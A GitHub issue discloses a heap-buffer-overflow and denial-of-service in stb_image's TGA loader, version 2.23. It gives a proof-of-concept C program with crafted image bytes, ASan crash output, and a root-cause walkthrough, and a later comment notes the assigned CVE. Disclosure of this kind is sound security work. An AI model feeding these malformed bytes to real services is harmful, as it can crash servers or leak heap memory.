Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

heap-buffer-overflow and denial-of-service in stbi__tga_load with version: 2.23 #790

Open
Kirin-say opened this issue Aug 13, 2019 · 1 comment

Comments

@Kirin-say
Copy link

commented Aug 13, 2019

I find heap-buffer-overflow in stbi__tga_load with lastest version: 2.23
POC:

#define STBI_WINDOWS_UTF8
#define STB_IMAGE_WRITE_IMPLEMENTATION
#include "stb_image_write.h"
#define STB_IMAGE_IMPLEMENTATION
#include "stb_image.h"
#define STB_DEFINE
#include "stb.h"
#include<stdio.h>
#include<stdlib.h>
unsigned char data[] =
{
  0xAF, 0x01, 0x09, 0x00, 0x00, 0x00, 0x00, 0x10, 0x14, 0x0A, 
  0xAF, 0x00, 0xEF, 0xEF, 0xEF, 0x11, 0x10, 0xEF, 0xEB, 0xF5, 
  0x50, 0xFE, 0xFE, 0x09
};
int main(int argc, char **argv)
{
    int x,y,n;
    stbi_load_from_memory(data,sizeof(data),&x,&y,&n,4);
    return 0;
}

In command:

clang -I.. ./poc.c -lm -fsanitize=address -o poc
./poc

Output:

=================================================================
==5323==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000eff1 at pc 0x00000056a701 bp 0x7ffc5dd1f8d0 sp 0x7ffc5dd1f8c8
READ of size 1 at 0x60200000eff1 thread T0
    #0 0x56a700  (/home/kirin/test2+0x56a700)
    #1 0x561a0c  (/home/kirin/test2+0x561a0c)
    #2 0x4f6d8b  (/home/kirin/test2+0x4f6d8b)
    #3 0x4f8482  (/home/kirin/test2+0x4f8482)
    #4 0x55a755  (/home/kirin/test2+0x55a755)
    #5 0x7f2148e0e82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #6 0x418da8  (/home/kirin/test2+0x418da8)

0x60200000eff1 is located 0 bytes to the right of 1-byte region [0x60200000eff0,0x60200000eff1)
allocated by thread T0 here:
    #0 0x4b8ed8  (/home/kirin/test2+0x4b8ed8)
    #1 0x4fab04  (/home/kirin/test2+0x4fab04)
    #2 0x577bc6  (/home/kirin/test2+0x577bc6)
    #3 0x56a380  (/home/kirin/test2+0x56a380)
    #4 0x561a0c  (/home/kirin/test2+0x561a0c)
    #5 0x4f6d8b  (/home/kirin/test2+0x4f6d8b)
    #6 0x4f8482  (/home/kirin/test2+0x4f8482)
    #7 0x55a755  (/home/kirin/test2+0x55a755)
    #8 0x7f2148e0e82f  (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/kirin/test2+0x56a700) 
Shadow bytes around the buggy address:
  0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[01]fa
  0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==5323==ABORTING

Analyze this bug:
In this poc,when the program call stbi__tga_load:

tga_palette = (unsigned char*)stbi__malloc_mad2(tga_palette_len, tga_comp, 0);

It will call malloc(0) because of specific data finally
but after:

               int pal_idx = (tga_bits_per_pixel == 8) ? stbi__get8(s) : stbi__get16le(s);
               if ( pal_idx >= tga_palette_len ) {
                  // invalid index
                  pal_idx = 0;
               }
               pal_idx *= tga_comp;
               for (j = 0; j < tga_comp; ++j) {
                  raw_data[j] = tga_palette[pal_idx+j];
               }

So it will read tga_palette[pal_idx+j] which leads to heap-buffer-overflow
This may lead to the leak of the uninitialized data on the heap and so on......

In addition, there is another tip that may lead to Denial of Service:
The same exp as above but Compile without -fsanitize=address:

clang -I.. ./poc.c -lm  -o poc
./poc

It will run for a very long time because of some codes in stbi__tga_load:

      //   load the data
      for (i=0; i < tga_width * tga_height; ++i)
      {
         //   if I'm in RLE mode, do I need to get a RLE stbi__pngchunk?
         if ( tga_is_RLE )
         {
            if ( RLE_count == 0 )
......

tga_width * tga_heigh is determined by the image data and there is no check here.
When it is too big and the program run in remote server, it will lead to Denial of Service.

@Kirin-say Kirin-say changed the title heap-buffer-overflow in stbi__tga_load with version: 2.23 heap-buffer-overflow and denial-of-service in stbi__tga_load with version: 2.23 Aug 14, 2019
@carnil

This comment has been minimized.

Copy link

commented Aug 17, 2019

This issue got CVE-2019-15058 assigned.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
2 participants
You can’t perform that action at this time.